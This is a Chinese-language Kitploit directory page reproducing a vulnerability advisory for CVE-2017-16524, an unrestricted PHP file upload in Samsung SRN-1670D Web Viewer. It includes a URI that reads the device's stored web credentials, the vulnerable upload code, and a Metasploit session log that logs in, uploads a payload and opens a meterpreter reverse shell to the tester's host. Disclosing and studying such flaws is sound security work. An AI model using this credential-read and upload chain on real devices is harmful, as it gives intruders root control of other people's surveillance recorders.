Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-16524 — 不受限制的文件上传漏洞 - Samsung SRN-1670D 上的 Web Viewer 1.0.0.193 | Kitploit
工具/GitHubGitHub/realistic-security/cve-2017-16524
漏洞利用框架漏洞分析Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubrealistic-security/cve-2017-16524

CVE-2017-16524

不受限制的文件上传漏洞 - Samsung SRN-1670D 上的 Web Viewer 1.0.0.193

查看仓库
418年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-16524

发现者

Omar Mezrag - 0xFFFFFF

受影响产品

三星网络录像机 - Web Viewer 1.0.0.193(Samsung SRN-1670D)

产品供应商

Hanwha / Samsung Security - https://www.hanwhasecurity.com/

漏洞类型

无限制文件上传漏洞

攻击向量

root@kitploit:~
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance

影响

root@kitploit:~
Code execution (ROOT)

受影响组件

root@kitploit:~
network_ssl_upload.php (tested)
network_802_1x1.php (suspected)
network_802_1x2.php (suspected)

描述

Samsung SRN-1670D 设备上的 Web Viewer 1.0.0.193 存在一个无限制文件上传漏洞:‘network_ssl_upload.php’ 允许远程已认证攻击者通过带有 .php 扩展名的文件名上传并执行任意 PHP 代码,随后可通过直接请求 upload/ 目录中的该文件来访问。 要对此攻击进行身份验证,攻击者可利用现有的、被引用为 CVE-2015-8279 的本地文件读取漏洞,以明文形式获取 Web 界面凭据;该漏洞允许远程攻击者通过请求以下 URI 读取 Web 界面凭据:

root@kitploit:~
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw 

漏洞源代码(network_ssl_upload.php):

root@kitploit:~
    22 $path = "./upload/";
    23 $file = $_FILES[ "attachFile" ];
    24 $isApply = ( int )$_POST[ "is_apply" ];
    25 $isInstall = ( int )$_POST[ "isInstall" ];
    26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
    27 
    28 // create socket
    29 $N_message = "";
    30 $sock = mySocket_create($_is_unix_socket);
    31 $connected = mySocket_connect($_is_unix_socket, $sock);
    32 
    33 $loginInfo = new loginInfo();
    34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
    35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
    36  if ($connected) {
    37   $id = $loginInfo->get_id();
    38   $xmlFile = $id.'_config.xml';
    39   $N_message = "dummy".nvr_command::DELIM;
    40   $N_message .= "userid ".$id.nvr_command::DELIM;
    41   
    42   if ( $isInstall == 1 ) {
    43    // File upload ===============================================================  
    44    if ( $file[ "error" ] 0 ) {
    45     $Error = "Error: ".$file[ "error" ];
    46    } else {
    47     $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
    48    }
    49    // ===========================================================================
    50   }

PoC

Metasploit 模块:samsung_srv_1670d_upload_exec

root@kitploit:~
msf exploit(samsung_srv_1670d_upload_exec) > show options 

Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.200      yes       The target address.
   RPORT    80               yes       The target port (TCP).
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.122      yes       The listen address
   LPORT  4358             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Samsung SRN-1670D == 1.0.0.193


msf exploit(samsung_srv_1670d_upload_exec) > exploit -j 
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.122:4358 
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100

附加信息

可能其他脚本(如 ‘network_802_1x1.php’ 和 ‘network_802_1x2.php’)也受到同一漏洞影响,但我没有对它们进行测试。

参考

CVE-2015-8279:http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html

下载工具